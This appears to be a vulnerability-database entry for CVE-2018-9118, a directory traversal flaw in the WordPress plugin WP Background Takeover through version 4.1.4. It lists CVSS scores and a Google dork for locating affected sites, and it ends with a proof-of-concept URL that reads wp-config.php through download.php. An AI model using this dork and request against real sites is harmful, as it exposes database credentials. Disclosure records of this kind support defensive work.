WordPress Plugin Background Takeover < 4.1.4 - Directory Traversal

2018-04-0900:00:00

Colette Chamberland

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5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.7 High

AI Score

Confidence

High

0.07 Low

EPSS

Percentile

94.0%

JSON

# Exploit Title: WP Background Takeover, Directory Traversal <= 4.1.4
# Google Dork: inurl:/plugins/wpsite-background-takeover
# Date: 2018-03-08
# Exploit Author: Colette Chamberland, Defiant, Inc.
# Vendor Homepage: https://99robots.com
# Software Link: https://99robots.com/products/wp-background-takeover-advertisements/
# Version: <= 4.1.4
# Tested on: Wordpress 4.9.x
# CVE : CVE-2018-9118

Description

Allows for an attacker to browse files via the download.php file:

http://target[.]com/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php